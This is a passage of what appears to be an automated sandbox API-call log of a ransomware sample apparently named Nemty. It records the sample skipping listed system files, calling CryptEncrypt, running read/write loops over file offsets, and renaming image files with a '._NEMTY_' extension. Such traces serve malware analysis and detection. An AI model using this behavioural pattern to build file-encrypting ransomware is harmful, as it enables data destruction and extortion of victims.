| out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0155.715] CloseHandle (hObject=0xffffffff) returned 0 [0155.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0155.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0155.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0155.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0155.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\32.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\32.png._nemty_kgobjgd_")) returned 0 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0155.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0155.716] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a7068d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a7068d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="33.png", cAlternateFileName="")) returned 1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2=".") returned 1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="..") returned 1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="...") returned 1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="windows") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="$RECYCLE.BIN") returned 1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="rsa") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="NTDETECT.COM") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="ntldr") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="MSDOS.SYS") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="IO.SYS") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="boot.ini") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="boot.ini") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="AUTOEXEC.BAT") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="ntuser.dat") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="desktop.ini") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="CONFIG.SYS") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="RECYCLER") returned -1 [0155.716] lstrcmpiW (lpString1="33.png", lpString2="BOOTSECT.BAK") returned -1 [0155.717] lstrcmpiW (lpString1="33.png", lpString2="bootmgr") returned -1 [0155.717] lstrcmpiW (lpString1="33.png", lpString2="programdata") returned -1 [0155.717] lstrcmpiW (lpString1="33.png", lpString2="appdata") returned -1 [0155.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="33.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="33.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="33.png", lpUsedDefaultChar=0x0) returned 6 [0155.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="33.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="33.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="33.png", lpUsedDefaultChar=0x0) returned 6 [0155.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="33.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="33.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="33.png", lpUsedDefaultChar=0x0) returned 6 [0155.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="33.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="33.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="33.png", lpUsedDefaultChar=0x0) returned 6 [0155.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0155.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0155.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0155.717] Sleep (dwMilliseconds=0x5) [0155.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10788350, dwHighDateTime=0x1d561e8)) [0155.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10788350, dwHighDateTime=0x1d561e8)) [0155.732] GetLastError () returned 0x5 [0155.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0155.733] GetLastError () returned 0x5 [0155.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0155.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0155.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.733] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0155.733] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0155.733] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0155.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0155.733] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="ApjJoYqMX5zN9izTtUpkxWJmALX7LeuIE3L3Zj+zPABb3tPA+gLGh+A/OXhClZy0\r\ntPsOCf2SiRP49qg2IRx/CiycfhABnnGPvVan6lOo87I9F9oQDdlfGu4NyiVbDcEv\r\nAeHvJi1wFIk/+PA6Z/mw7S13YFUhEjVsxUzvCS1yzuvSaWhHdQYKqOjYln0h2GJt\r\nMZBezTrb1p87A2bOMEqPE+d8y6Qz2PryyChwR3WC80UqViHAiSpMu4sodOd9KTkd\r\nPBvNcGixeBbIP2wNSl4e7Tu7H3k781TQeGzk1+qaiWJjmaiy+9mg89Pqe56aZYIB\r\nFHPLFLsFC4WSjVzMmu0KEw==\r\n", pcchString=0x653e91c) returned 1 [0155.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0155.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0155.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0155.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0155.733] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\33.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0155.733] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0155.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0155.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.752] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.762] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.762] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.776] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.776] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.844] 